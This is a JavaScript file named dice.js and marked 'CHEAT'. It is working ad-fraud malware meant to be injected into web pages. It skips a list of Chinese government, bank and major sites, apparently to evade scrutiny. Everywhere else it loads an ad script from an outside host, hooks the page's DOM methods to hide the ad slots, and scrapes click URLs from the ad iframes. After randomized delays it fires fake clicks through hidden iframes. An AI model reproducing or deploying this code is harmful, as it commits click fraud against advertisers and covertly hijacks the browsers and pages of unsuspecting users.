dice.js

// CHEAT
(function() {
    var moduleName = 'dice-pc';

    // SCRIPT EXEC LOG
    window._GRD && window._GRD.triggerStats && window._GRD.triggerStats(moduleName);

    if (Math.DICE) { return; }
    Math.DICE = true;

    var filter = /baidu.com|taobao.com|qq.com|360.cn|sogou.com|www.apple.com|cntv.cn|1360.com|hao123.com|12306.cn|icbc.com.cn|duba.com|10086.cn|google.com.hk|google.com|bing.com|chinaz.com|duba.net|gdltax.gov.cn|alibaba.com|qihoo.com|xiaomi.com|google.cn|bjjtgl.gov.cn|moe.edu.cn|moe.gov.cn|www.mof.gov.cn|www.mohurd.gov.cn|cq.gov.cn|www.sipo.gov.cn|www.sda.gov.cn|jl.gov.cn|www.sdpc.gov.cn|www.saic.gov.cn|www.beijing.gov.cn|www.customs.gov.cn|hainan.gov.cn|jiangxi.gov.cn|www.fmprc.gov.cn|www.mohrss.gov.cn|www.aqsiq.gov.cn|bjjtgl.gov.cn|www.cbrc.gov.cn|mofcom.gov.cn|www.szaic.gov.cn|www.mod.gov.cn|www.sc.gov.cn|www.csrc.gov.cn|www.forestry.gov.cn|e21.cn|www.nmg.gov.cn|www.fujian.gov.cn|www.shanxigov.cn|www.shaanxi.gov.cn|ccn.mofcom.gov.cn|taiwan.net.tw|www.jiangsu.gov.cn|www.gd.gov.cn|www.gansu.gov.cn|www.hunan.gov.cn|www.qh.gov.cn|jxedu.gov.cn|www.hlj.gov.cn|www.hebei.gov.cn|www.gzgov.gov.cn|www.chengdu.gov.cn|bjrbj.gov.cn|www.nx.gov.cn|yw.gov.cn|haaic.gov.cn|gxeea.cn|sbj.saic.gov.cn|cnnic.cn|jxhld.gov.cn|court.gov.cn|www.chinagrain.gov.cn|cas.cn|changzhi.gov.cn|ly.gov.cn|huzhou.gov.cn|www.shandong.gov.cn|www.changsha.gov.cn|www.fuzhou.gov.cn|www.wenzhou.gov.cn|www.mlnews.gov.cn|www.xm.gov.cn|foshan.gov.cn|www.mas.gov.cn|ahxf.gov.cn|npc.gov.cn|hongze.gov.cn|linfen.gov.cn|www.changde.gov.cn|yn.gov.cn|qyxy.baic.gov.cn|xf.gov.cn|www.xiangxiang.gov.cn|hebwst.gov.cn|dg.gov.cn|www.zhenjiang.gov.cn|smesd.gov.cn|l.gov.cn|www.bjchy.gov.cn|maoming.gov.cn|linyi.gov.cn|moc.gov.cn|gwytb.gov.cn|www.huangshan.gov.cn|ccgp.gov.cn|mps.gov.cn|www.pingliang.gov.cn|henan.gov.cn|www.taizhou.gov.com/;
    var pid = '01b1f6566fbc77663f16';
    var sid = '2d724824dd45d5c89b25';
    var miss = 0;

    var debug = function(s) {
        window.DICELOGS = window.DICELOGS || [];
        window.DICELOGS.push(s);
        // console && console.log(s);
    };

    if (location.hostname.match(filter)) {
        return debug('* Good boy.');
    }

    var callOriginScript = function() {
        if (miss > 1) {
            return;
        }

        miss++;

        (function() {
            if (!document.body) return setTimeout(arguments.callee, 50);
            var e = document.createElement("script");
            e.type = "text/javascript",
            e.text = '_guanggao_pub= "' + pid + '";',
            e.text += '_guanggao_slot= "' + sid + '";',
            document.body.insertBefore(e, document.body.children.item(0));
            var e = document.createElement("script");
            e.src = "http://ssp.thescenseproject.com/adpro.js",
            e.type = "text/javascript",
            document.body.insertBefore(e, document.body.children.item(0))
        })();
    };

    var frn = function(n1, n2) {
        return (Math.random() * (Math.max(n1, n2) - Math.min(n1, n2)) + Math.min(n1, n2));
    };

    var fx = function() {
        return frn(1, 50);
    };

    var fy = function(x) {
        var y = 0;
        var z = 0;
        var p = 0.0125 * x + 0.375;

        if (x > 10 && Math.random() < p) {
            z = frn(2, 10);
            y = z * frn(1, 5 / z);
        } else {
            y = x;
        }

        return y;
    };

    var diceClickExp = /http:\/\/ssp\.thescenseproject\.com\/clk2\.html\?q\=[0-9a-zA-Z]+/g;
    var diceClickURL = false;
    var diceLinksCount = 0;

    var diceClicker = function(url) {
        var rate = 0.02;

        debug('* Click rate: <' + rate + '>.');

        if (Math.random() > rate) {
            return debug('* Click ignore.');
        }

        var iframe = document.createElement('iframe');
        var wait = fy(fx()) * 1000;
		var click = function() {
			document.body.appendChild(iframe);

            // DICE CLICK LOG
            window._GRD && window._GRD.triggerEventStats && window._GRD.triggerEventStats(moduleName, 'click');
		};

        iframe.style.display = 'none';
    	iframe.setAttribute('src', url);

		setTimeout(click, wait);

        debug('* Clicked.');
    };

    // HOOK `insertBefore`
    document.body._insertBefore = document.body.insertBefore;
    document.body.insertBefore = function(newNode, referenceNode) {
        if (newNode.tagName === 'DIV' && newNode.id.indexOf(pid + '_' + sid) === 0) {
            newNode.style.height = '0px';
            newNode.style.visibility = 'hidden';
        }

        return document.body._insertBefore(newNode, referenceNode);
    };

    var diceFindTimes = 0;
    var diceFinderLooper = setInterval(function() {
        if (iframeContent) {
            return;
        }

        if (diceFindTimes >= 5) {
            diceFindTimes = 0;
            return;
        }

        if (diceFindTimes === 0) {
            debug('* Call origin script.');
            callOriginScript();
        }

        diceFindTimes++;

        var iframeEls = document.getElementsByTagName('iframe');
        var iframeTarget;
        var iframeAttributes;
        var iframeContent;

        for (var i = iframeEls.length; i--;) {
            iframeAttributes = iframeEls[i].attributes;
            iframeParent = iframeEls[i].parentNode;

            if (iframeParent && iframeParent.id && iframeParent.id.indexOf(sid) > 0) {
                for (var j = iframeAttributes.length; j--;) {
                    if (iframeAttributes[j].nodeName === 'data-srcdoc') {

                        debug('* Dice click url found.');

                        iframeTarget = iframeEls[i];
                        iframeContent = (iframeAttributes[j].value || iframeAttributes[j].nodeValue || iframeAttributes[j].textContent).toString();
                    }
                }
            }
        }

        try {
            diceClickURL = iframeContent ? iframeContent.match(diceClickExp) : [];
            diceLinksCount = diceClickURL.length;
        } catch (error) {}

        if (diceLinksCount) {
            clearInterval(diceFinderLooper);

            diceClickURL = diceClickURL[ parseInt( Math.random() * diceLinksCount ) ];
            diceClicker(diceClickURL);

            iframeTarget.parentNode.style.display = 'none';

            // DICE VIEW LOG
            window._GRD && window._GRD.triggerEventStats && window._GRD.triggerEventStats(moduleName, 'view');
        }
    }, 500);
})();